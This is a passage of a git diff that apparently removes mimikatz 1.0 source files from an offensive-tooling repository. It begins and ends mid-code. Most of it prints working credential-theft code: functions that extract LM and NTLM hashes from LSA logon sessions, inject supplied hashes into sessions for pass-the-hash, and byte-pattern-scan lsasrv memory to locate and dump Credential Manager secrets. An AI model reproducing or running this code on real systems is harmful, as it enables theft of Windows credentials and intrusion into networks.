sendTo(monPipe, maReponse.str()); -} - -__kextdll bool __cdecl getDesktop(mod_pipe * monPipe, vector * mesArguments) -{ - wstringstream maReponse; - wstring monBureau; - - if (HDESK hDesktop = OpenInputDesktop(0, FALSE, GENERIC_READ)) - { - if(getNameOfDesktop(hDesktop, monBureau)) - maReponse << L"Bureau courant : " << monBureau << endl; - else - maReponse << L"Erreur : impossible d\'obtenir le nom du bureau courant ; getNameOfDesktop : " << mod_system::getWinError() << endl; - - CloseDesktop(hDesktop); - } - return sendTo(monPipe, maReponse.str()); -} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/klock.h b/Exfiltration/mimikatz-1.0/librairies/klock/klock.h deleted file mode 100644 index e6ea046c..00000000 --- a/Exfiltration/mimikatz-1.0/librairies/klock/klock.h +++ /dev/null @@ -1,14 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "kmodel.h" -#include "mod_system.h" - -__kextdll bool __cdecl getDescription(wstring * maDescription); - -bool getNameOfDesktop(HDESK desktop, wstring &bureau); -__kextdll bool __cdecl echange(mod_pipe * monPipe, vector * mesArguments); -__kextdll bool __cdecl getDesktop(mod_pipe * monPipe, vector * mesArguments); \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/klock.rc b/Exfiltration/mimikatz-1.0/librairies/klock/klock.rc deleted file mode 100644 index 28599d25..00000000 Binary files a/Exfiltration/mimikatz-1.0/librairies/klock/klock.rc and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/klock.vcxproj b/Exfiltration/mimikatz-1.0/librairies/klock/klock.vcxproj deleted file mode 100644 index a93a79d8..00000000 --- a/Exfiltration/mimikatz-1.0/librairies/klock/klock.vcxproj +++ /dev/null @@ -1,131 +0,0 @@ - - - - - Release - Win32 - - - Release - x64 - - - - {6556249E-1C80-4047-A863-F608C8B8AC55} - Win32Proj - klock - - - - DynamicLibrary - false - true - Unicode - Static - - - DynamicLibrary - false - true - Unicode - Static - - - - - - - - - - - - - false - $(SolutionDir)$(Platform)\ - $(Platform)\ - - - false - $(SolutionDir)$(Platform)\ - $(Platform)\ - - - - Level3 - NotUsing - Full - true - true - WIN32;NDEBUG;_WINDOWS;_USRDLL;KLOCK_EXPORTS;%(PreprocessorDefinitions) - $(SolutionDir)/commun;$(SolutionDir)/modules;%(AdditionalIncludeDirectories) - Size - true - false - Fast - false - false - None - - - Windows - false - true - true - user32.lib;shlwapi.lib;secur32.lib - NoErrorReport - - - 0x040c - - - - - Level3 - NotUsing - Full - true - true - WIN32;NDEBUG;_WINDOWS;_USRDLL;KLOCK_EXPORTS;%(PreprocessorDefinitions) - $(SolutionDir)/commun;$(SolutionDir)/modules;%(AdditionalIncludeDirectories) - Size - true - false - Fast - false - false - None - - - Windows - false - true - true - user32.lib;shlwapi.lib;secur32.lib - NoErrorReport - - - 0x040c - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/klock.vcxproj.filters b/Exfiltration/mimikatz-1.0/librairies/klock/klock.vcxproj.filters deleted file mode 100644 index cc5f3427..00000000 --- a/Exfiltration/mimikatz-1.0/librairies/klock/klock.vcxproj.filters +++ /dev/null @@ -1,53 +0,0 @@ - - - - - {255a8a01-9f58-4a47-9d1e-1d5fc9f16419} - - - {d6070dc8-7a9b-46c0-b75a-5fd6c10f8613} - - - {01639990-b135-46fe-8511-84761977c1bf} - - - {fa3fed71-2d05-4e39-a46b-59e9b2c83e04} - - - {e53f7390-cd26-41d0-9f10-ea350fc88e43} - - - - - Modules Communs\Communication - - - Modules Communs\Parseur - - - Modules Communs\Librairie Modèle - - - - Modules Communs\System - - - - - Modules Communs\Communication - - - Modules Communs\Parseur - - - Modules Communs\Librairie Modèle - - - - Modules Communs\System - - - - - - \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0.cpp b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0.cpp deleted file mode 100644 index b429e5a0..00000000 --- a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0.cpp +++ /dev/null @@ -1,153 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ - Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "msv1_0.h" - -bool searchMSVFuncs() -{ - if(!MSV1_0_MspAuthenticationPackageId) - MSV1_0_MspAuthenticationPackageId = (mod_system::GLOB_Version.dwBuildNumber < 7000) ? 2 : 3; - return (searchLSAFuncs() && (MSV1_0_MspAuthenticationPackageId != 0)); -} - -bool WINAPI getMSVLogonData(__in PLUID logId, __in mod_pipe * monPipe, __in bool justSecurity) -{ - wostringstream maReponse; - if(searchMSVFuncs()) - { - unsigned short reservedSize = 0; - PMSV1_0_PRIMARY_CREDENTIAL kiwiCreds = NULL; - if(NT_SUCCESS(NlpGetPrimaryCredential(logId, &kiwiCreds, &reservedSize))) - { - wstring lmHash = mod_text::stringOfHex(kiwiCreds->LmOwfPassword, sizeof(kiwiCreds->LmOwfPassword)); - wstring ntHash = mod_text::stringOfHex(kiwiCreds->NtOwfPassword, sizeof(kiwiCreds->NtOwfPassword)); - - if(justSecurity) - maReponse << L"lm{ " << lmHash << L" }, ntlm{ " << ntHash << L" }"; - else - { - maReponse << endl << - L"\t * Utilisateur : " << mod_text::stringOfSTRING(kiwiCreds->UserName) << endl << - L"\t * Domaine : " << mod_text::stringOfSTRING(kiwiCreds->LogonDomainName) << endl << - L"\t * Hash LM : " << lmHash << endl << - L"\t * Hash NTLM : " << ntHash; - } - SeckPkgFunctionTable->FreeLsaHeap(kiwiCreds); - } - else maReponse << L"n.t. (LUID KO)"; - } - else maReponse << L"n.a. (msv KO)"; - - return sendTo(monPipe, maReponse.str()); -} - -__kextdll bool __cdecl getLogonSessions(mod_pipe * monPipe, vector * mesArguments) -{ - vector> monProvider; - monProvider.push_back(make_pair(getMSVLogonData, wstring(L"msv1_0"))); - return getLogonData(monPipe, mesArguments, &monProvider); -} - -__kextdll bool __cdecl delLogonSession(mod_pipe * monPipe, vector * mesArguments) -{ - wostringstream maReponse; - if(searchMSVFuncs()) - { - if(!mesArguments->empty() && mesArguments->size() >= 1 && mesArguments->size() <= 2) - { - wstring idSecAppHigh = L"0"; - wstring idSecAppLow = mesArguments->front(); - if(mesArguments->size() > 1) - { - idSecAppHigh = mesArguments->front(); idSecAppLow = mesArguments->back(); - } - - LUID idApp = mod_text::wstringsToLUID(idSecAppHigh, idSecAppLow); - if(idApp.LowPart != 0 || idApp.HighPart != 0) - maReponse << (NT_SUCCESS(NlpDeletePrimaryCredential(&idApp)) ? L"Suppression des donnes de scurit russie :)" : L"Suppression des donnes de scurit en chec :("); - else maReponse << L"LUID incorrect !"; - } - else maReponse << L"Format d\'appel invalide : delLogonSession [idSecAppHigh] idSecAppLow"; - } - else maReponse << L"n.a. (msv KO)"; - - maReponse << endl; - return sendTo(monPipe, maReponse.str()); -} - -__kextdll bool __cdecl addLogonSession(mod_pipe * monPipe, vector * mesArguments) -{ - wostringstream maReponse; - if(searchMSVFuncs()) - { - if(!mesArguments->empty() && mesArguments->size() >= 4 && mesArguments->size() <= 6) - { - MSV1_0_PRIMARY_CREDENTIAL kiwicreds; - RtlZeroMemory(&kiwicreds, sizeof(MSV1_0_PRIMARY_CREDENTIAL)); - - wstring idSecAppHigh = L"0", idSecAppLow, userName, domainName, lmHash, ntlmHash = mesArguments->back(); - kiwicreds.LmPasswordPresent = FALSE; - kiwicreds.NtPasswordPresent = TRUE; - - switch(mesArguments->size()) // mchants arguments utilisateurs - { - case 4: - idSecAppLow = mesArguments->front(); - userName = mesArguments->at(1); - domainName = mesArguments->at(2); - break; - case 6: - idSecAppHigh = mesArguments->front(); - idSecAppLow = mesArguments->at(1); - userName = mesArguments->at(2); - domainName = mesArguments->at(3); - kiwicreds.LmPasswordPresent = TRUE; - lmHash = mesArguments->at(4); - break; - case 5: - if(mesArguments->at(3).size() == 0x20) - { - idSecAppLow = mesArguments->front(); - userName = mesArguments->at(1); - domainName = mesArguments->at(2); - kiwicreds.LmPasswordPresent = TRUE; - lmHash = mesArguments->at(3); - } - else - { - idSecAppHigh = mesArguments->front(); - idSecAppLow = mesArguments->at(1); - userName = mesArguments->at(2); - domainName = mesArguments->at(3); - } - break; - } - - LUID idApp = mod_text::wstringsToLUID(idSecAppHigh, idSecAppLow); - - if(idApp.LowPart != 0 || idApp.HighPart != 0) - { - if((!kiwicreds.LmPasswordPresent || (lmHash.size() == 0x20)) && ntlmHash.size() == 0x20 && userName.size() <= MAX_USERNAME_LEN && domainName.size() <= MAX_DOMAIN_LEN) - { - mod_text::InitLsaStringToBuffer(&kiwicreds.UserName, userName, kiwicreds.BuffUserName); - mod_text::InitLsaStringToBuffer(&kiwicreds.LogonDomainName, domainName, kiwicreds.BuffDomaine); - if(kiwicreds.LmPasswordPresent) - mod_text::wstringHexToByte(lmHash, kiwicreds.LmOwfPassword); - mod_text::wstringHexToByte(ntlmHash, kiwicreds.NtOwfPassword); - - maReponse << (NT_SUCCESS(NlpAddPrimaryCredential(&idApp, &kiwicreds, sizeof(kiwicreds))) ? L"Injection de donnes de scurit russie :)" : L"Injection de donnes de scurit en chec :("); - } - else maReponse << L"Les hashs LM et NTLM doivent faire 32 caractres, le nom d\'utilisateur et le domaine/poste au maximum 22 caractres"; - } - else maReponse << L"LUID incorrect !"; - } - else maReponse << L"Format d\'appel invalide : addLogonSession [idSecAppHigh] idSecAppLow Utilisateur {Domaine|Poste} [HashLM] HashNTLM"; - } - else maReponse << L"n.a. (msv KO)"; - - maReponse << endl; - return sendTo(monPipe, maReponse.str()); -} diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0.h b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0.h deleted file mode 100644 index 4749573d..00000000 --- a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0.h +++ /dev/null @@ -1,16 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ - Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "../sekurlsa.h" -#include "msv1_0_helper.h" - -bool searchMSVFuncs(); -bool WINAPI getMSVLogonData(__in PLUID logId, __in mod_pipe * monPipe, __in bool justSecurity); - -__kextdll bool __cdecl getLogonSessions(mod_pipe * monPipe, vector * mesArguments); -__kextdll bool __cdecl delLogonSession(mod_pipe * monPipe, vector * mesArguments); -__kextdll bool __cdecl addLogonSession(mod_pipe * monPipe, vector * mesArguments); diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0_helper.cpp b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0_helper.cpp deleted file mode 100644 index 7ccb8e56..00000000 --- a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0_helper.cpp +++ /dev/null @@ -1,53 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ - Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "msv1_0_helper.h" -DWORD MSV1_0_MspAuthenticationPackageId = 0; - -void NlpMakeRelativeOrAbsoluteString(PVOID BaseAddress, PLSA_UNICODE_STRING String, bool relative) -{ - if(String->Buffer) - String->Buffer = reinterpret_cast(reinterpret_cast(String->Buffer) + ((relative ? -1 : 1) * reinterpret_cast(BaseAddress))); -} - -NTSTATUS NlpAddPrimaryCredential(PLUID LogonId, PMSV1_0_PRIMARY_CREDENTIAL Credential, unsigned short CredentialSize) -{ - STRING PrimaryKeyValue, CredentialString; - mod_text::RtlInitString(&PrimaryKeyValue, MSV1_0_PRIMARY_KEY); - - NlpMakeRelativeOrAbsoluteString(Credential, &Credential->UserName); - NlpMakeRelativeOrAbsoluteString(Credential, &Credential->LogonDomainName); - CredentialString.Buffer = reinterpret_cast(Credential); - CredentialString.MaximumLength = CredentialString.Length = CredentialSize; - SeckPkgFunctionTable->LsaProtectMemory(CredentialString.Buffer, CredentialString.Length); - return SeckPkgFunctionTable->AddCredential(LogonId, MSV1_0_MspAuthenticationPackageId, &PrimaryKeyValue, &CredentialString ); -} - -NTSTATUS NlpGetPrimaryCredential(PLUID LogonId, PMSV1_0_PRIMARY_CREDENTIAL *Credential, unsigned short *CredentialSize) -{ - ULONG QueryContext = 0, PrimaryKeyLength; - STRING PrimaryKeyValue, CredentialString; - mod_text::RtlInitString(&PrimaryKeyValue, MSV1_0_PRIMARY_KEY); - - NTSTATUS retour = SeckPkgFunctionTable->GetCredentials(LogonId, MSV1_0_MspAuthenticationPackageId, &QueryContext, FALSE, &PrimaryKeyValue, &PrimaryKeyLength, &CredentialString); - if(NT_SUCCESS(retour)) - { - SeckPkgFunctionTable->LsaUnprotectMemory(CredentialString.Buffer, CredentialString.Length); - *Credential = (PMSV1_0_PRIMARY_CREDENTIAL) CredentialString.Buffer; - NlpMakeRelativeOrAbsoluteString(*Credential, &((*Credential)->UserName), false); - NlpMakeRelativeOrAbsoluteString(*Credential, &((*Credential)->LogonDomainName), false); - if (CredentialSize) - *CredentialSize = CredentialString.Length; - } - return retour; -} - -NTSTATUS NlpDeletePrimaryCredential(PLUID LogonId) -{ - STRING PrimaryKeyValue; - mod_text::RtlInitString(&PrimaryKeyValue, MSV1_0_PRIMARY_KEY); - return SeckPkgFunctionTable->DeleteCredential(LogonId, MSV1_0_MspAuthenticationPackageId, &PrimaryKeyValue); -} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0_helper.h b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0_helper.h deleted file mode 100644 index e9afd03e..00000000 --- a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0_helper.h +++ /dev/null @@ -1,28 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ - Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "../sekurlsa.h" - -#define MSV1_0_PRIMARY_KEY "Primary" -extern DWORD MSV1_0_MspAuthenticationPackageId; - -typedef struct _MSV1_0_PRIMARY_CREDENTIAL { - LSA_UNICODE_STRING LogonDomainName; - LSA_UNICODE_STRING UserName; - BYTE NtOwfPassword[0x10]; - BYTE LmOwfPassword[0x10]; - BOOLEAN NtPasswordPresent; - BOOLEAN LmPasswordPresent; - wchar_t BuffDomaine[MAX_DOMAIN_LEN]; - wchar_t BuffUserName[MAX_USERNAME_LEN]; -} MSV1_0_PRIMARY_CREDENTIAL, *PMSV1_0_PRIMARY_CREDENTIAL; - -void NlpMakeRelativeOrAbsoluteString(PVOID BaseAddress, PLSA_UNICODE_STRING String, bool relative = true); - -NTSTATUS NlpAddPrimaryCredential(PLUID LogonId, PMSV1_0_PRIMARY_CREDENTIAL Credential, unsigned short CredentialSize); -NTSTATUS NlpGetPrimaryCredential(PLUID LogonId, PMSV1_0_PRIMARY_CREDENTIAL *Credential, unsigned short *CredentialSize); -NTSTATUS NlpDeletePrimaryCredential(PLUID LogonId); diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/CL.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/CL.read.1.tlog deleted file mode 100644 index af1843d7..00000000 Binary files a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/CL.read.1.tlog and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/CL.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/CL.write.1.tlog deleted file mode 100644 index 065c191b..00000000 Binary files a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/CL.write.1.tlog and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/cl.command.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/cl.command.1.tlog deleted file mode 100644 index 662e27d9..00000000 Binary files a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/cl.command.1.tlog and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link-cvtres.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link-cvtres.read.1.tlog deleted file mode 100644 index 46b134b1..00000000 --- a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link-cvtres.read.1.tlog +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link-cvtres.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link-cvtres.write.1.tlog deleted file mode 100644 index 46b134b1..00000000 --- a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link-cvtres.write.1.tlog +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link.command.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link.command.1.tlog deleted file mode 100644 index 8bfc4855..00000000 Binary files a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link.command.1.tlog and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link.read.1.tlog deleted file mode 100644 index a090f025..00000000 Binary files a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link.read.1.tlog and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link.write.1.tlog deleted file mode 100644 index 3c62e5ae..00000000 Binary files a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link.write.1.tlog and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/mt.command.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/mt.command.1.tlog deleted file mode 100644 index a61d64e0..00000000 Binary files a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/mt.command.1.tlog and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/mt.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/mt.read.1.tlog deleted file mode 100644 index c2411f08..00000000 Binary files a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/mt.read.1.tlog and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/mt.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/mt.write.1.tlog deleted file mode 100644 index 0c67d613..00000000 Binary files a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/mt.write.1.tlog and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/rc.command.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/rc.command.1.tlog deleted file mode 100644 index 52d7b3d6..00000000 Binary files a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/rc.command.1.tlog and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/rc.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/rc.read.1.tlog deleted file mode 100644 index 465eb7a9..00000000 Binary files a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/rc.read.1.tlog and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/rc.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/rc.write.1.tlog deleted file mode 100644 index 9befde98..00000000 Binary files a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/rc.write.1.tlog and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.dll.intermediate.manifest b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.dll.intermediate.manifest deleted file mode 100644 index ecea6f7f..00000000 --- a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.dll.intermediate.manifest +++ /dev/null @@ -1,10 +0,0 @@ - - - - - - - - - - diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.lastbuildstate b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.lastbuildstate deleted file mode 100644 index 4d281933..00000000 --- a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.lastbuildstate +++ /dev/null @@ -1,2 +0,0 @@ -#v4.0:v100 -Release|Win32|C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\| diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.res b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.res deleted file mode 100644 index d0ba1ddf..00000000 Binary files a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.res and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.write.1.tlog deleted file mode 100644 index 929c4729..00000000 --- a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.write.1.tlog +++ /dev/null @@ -1,5 +0,0 @@ -^C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\librairies\sekurlsa\sekurlsa.vcxproj -C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\sekurlsa.lib -C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\sekurlsa.lib -C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\sekurlsa.exp -C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\sekurlsa.exp diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/credman.cpp b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/credman.cpp deleted file mode 100644 index fe846b48..00000000 --- a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/credman.cpp +++ /dev/null @@ -1,180 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ - Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "credman.h" - -PCRED_I_ENUMERATE CredIEnumerate = NULL; - -bool searchCredmanFuncs() -{ -#ifdef _M_X64 - BYTE PTRN_WIN5_CrediEnumerate[] = {0x48, 0x8b, 0xc4, 0x48, 0x81, 0xec, 0xb8, 0x00, 0x00, 0x00, 0x48, 0x89, 0x70, 0xe8, 0x48, 0x89, 0x78, 0xe0, 0x4c, 0x89, 0x60, 0xd8, 0x45, 0x33, 0xe4}; - LONG OFFS_WIN5_CrediEnumerate = 0; - BYTE PTRN_WNO8_CrediEnumerate[] = {0x48, 0x81, 0xec, 0xd0, 0x00, 0x00, 0x00, 0x33, 0xc0, 0x45, 0x33, 0xed}; - LONG OFFS_WNO8_CrediEnumerate = -22; - BYTE PTRN_WIN8_CrediEnumerate[] = {0x48, 0x81, 0xec, 0xe0, 0x00, 0x00, 0x00, 0x33, 0xc0, 0x45, 0x33, 0xed}; - LONG OFFS_WIN8_CrediEnumerate = -30; -#elif defined _M_IX86 - BYTE PTRN_WIN5_CrediEnumerate[] = {0x8b, 0xff, 0x55, 0x8b, 0xec, 0x83, 0xec, 0x24, 0x53, 0x33, 0xdb, 0x57, 0x33, 0xc0}; - BYTE PTRN_WN60_CrediEnumerate[] = {0x8b, 0xff, 0x55, 0x8b, 0xec, 0x83, 0xec, 0x40, 0x33, 0xc9}; - BYTE PTRN_WN61_CrediEnumerate[] = {0x8b, 0xff, 0x55, 0x8b, 0xec, 0x83, 0xec, 0x44, 0x33, 0xc0}; - BYTE PTRN_WN62_CrediEnumerate[] = {0x8b, 0xff, 0x55, 0x8b, 0xec, 0x81, 0xec, 0x80, 0x00, 0x00, 0x00, 0x33, 0xc0}; - LONG OFFS_WALL_CrediEnumerate = 0; -#endif - - if(!CredIEnumerate) - { - PBYTE pattern = NULL; ULONG taille = 0; LONG offset = 0; -#ifdef _M_X64 - if(mod_system::GLOB_Version.dwMajorVersion < 6) - { - pattern = PTRN_WIN5_CrediEnumerate; - taille = sizeof(PTRN_WIN5_CrediEnumerate); - offset = OFFS_WIN5_CrediEnumerate; - } - else - { - if (mod_system::GLOB_Version.dwMinorVersion < 2) - { - pattern = PTRN_WNO8_CrediEnumerate; - taille = sizeof(PTRN_WNO8_CrediEnumerate); - offset = OFFS_WNO8_CrediEnumerate; - } - else - { - pattern = PTRN_WIN8_CrediEnumerate; - taille = sizeof(PTRN_WIN8_CrediEnumerate); - offset = OFFS_WIN8_CrediEnumerate; - } - } -#elif defined _M_IX86 - if(mod_system::GLOB_Version.dwMajorVersion < 6) - { - pattern = PTRN_WIN5_CrediEnumerate; - taille = sizeof(PTRN_WIN5_CrediEnumerate); - } - else - { - if(mod_system::GLOB_Version.dwMinorVersion < 1) - { - pattern = PTRN_WN60_CrediEnumerate; - taille = sizeof(PTRN_WN60_CrediEnumerate); - } - else if (mod_system::GLOB_Version.dwMinorVersion < 2) - { - pattern = PTRN_WN61_CrediEnumerate; - taille = sizeof(PTRN_WN61_CrediEnumerate); - } - else - { - pattern = PTRN_WN62_CrediEnumerate; - taille = sizeof(PTRN_WN62_CrediEnumerate); - } - } - offset = OFFS_WALL_CrediEnumerate; -#endif - mod_memory::genericPatternSearch(reinterpret_cast(&CredIEnumerate), L"lsasrv", pattern, taille, offset, NULL, true, true); - } - return (searchLSAFuncs() && CredIEnumerate); -} - -__kextdll bool __cdecl getCredmanFunctions(mod_pipe * monPipe, vector * mesArguments) -{ - wostringstream monStream; - monStream << L"** lsasrv.dll ** ; Statut recherche : " << (searchCredmanFuncs() ? L"OK :)" : L"KO :(") << endl << endl << - L"@CredIEnumerate = " << CredIEnumerate << endl << - L"@LsaUnprotectMemory = " << SeckPkgFunctionTable->LsaUnprotectMemory << endl; - return sendTo(monPipe, monStream.str()); -} - -__kextdll bool __cdecl getCredman(mod_pipe * monPipe, vector * mesArguments) -{ - vector> monProvider; - monProvider.push_back(make_pair(getCredmanData, wstring(L"credman"))); - return getLogonData(monPipe, mesArguments, &monProvider); -} - -bool WINAPI getCredmanData(__in PLUID logId, __in mod_pipe * monPipe, __in bool justSecurity) -{ - wostringstream message; - if(searchCredmanFuncs()) - { - DWORD credNb = 0; - PCREDENTIAL * pCredential = NULL; - DWORD CredIEnumerateFlags = (mod_system::GLOB_Version.dwMajorVersion < 6) ? 0 : CRED_ENUMERATE_ALL_CREDENTIALS; - NTSTATUS status = (mod_system::GLOB_Version.dwBuildNumber < 8000 ) ? CredIEnumerate(logId, 0, NULL, CredIEnumerateFlags, &credNb, &pCredential) : reinterpret_cast(CredIEnumerate)(logId, NULL, CredIEnumerateFlags, &credNb, &pCredential); - - if(NT_SUCCESS(status)) - { - for(DWORD i = 0; i < credNb; i++) - { - wstring Target(pCredential[i]->TargetName); - wstring ShortTarget = (mod_system::GLOB_Version.dwMajorVersion < 6) ? Target : Target.substr(Target.find_first_of(L'=') + 1); - - message << endl; - if(justSecurity) - message << L"\t [" << i << L"] " << Target << L'\t'; - else message << - L"\t * [" << i << L"] Target : " << Target << L" / " << (pCredential[i]->TargetAlias ? pCredential[i]->TargetAlias : L"") << endl << - L"\t * [" << i << L"] Comment : " << (pCredential[i]->Comment ? pCredential[i]->Comment : L"") << endl << - L"\t * [" << i << L"] User : " << (pCredential[i]->UserName ? pCredential[i]->UserName : L"") << endl; - - if((pCredential[i]->Type != CRED_TYPE_GENERIC) && (pCredential[i]->Type != CRED_TYPE_GENERIC_CERTIFICATE)) - { - CREDENTIAL_TARGET_INFORMATION mesInfos = {const_cast(ShortTarget.c_str()), NULL, NULL, NULL, NULL, NULL, NULL, pCredential[i]->Flags, 0 , NULL}; - DWORD dwNbCredentials; - PENCRYPTED_CREDENTIALW * pEncryptedCredential; - NTSTATUS status = SeckPkgFunctionTable->CrediReadDomainCredentials(logId, CREDP_FLAGS_IN_PROCESS, &mesInfos, 0, &dwNbCredentials, &pEncryptedCredential); - if(status == STATUS_INVALID_PARAMETER) - { - mesInfos.Flags |= CRED_TI_USERNAME_TARGET; - status = SeckPkgFunctionTable->CrediReadDomainCredentials(logId, CREDP_FLAGS_IN_PROCESS, &mesInfos, 0, &dwNbCredentials, &pEncryptedCredential); - } - if(NT_SUCCESS(status)) - { - for(DWORD j = 0; j < dwNbCredentials ; j++) - { - wostringstream prefix; prefix << L"[" << j << L"] "; - message << descEncryptedCredential(pEncryptedCredential[j], justSecurity, prefix.str()); - } - 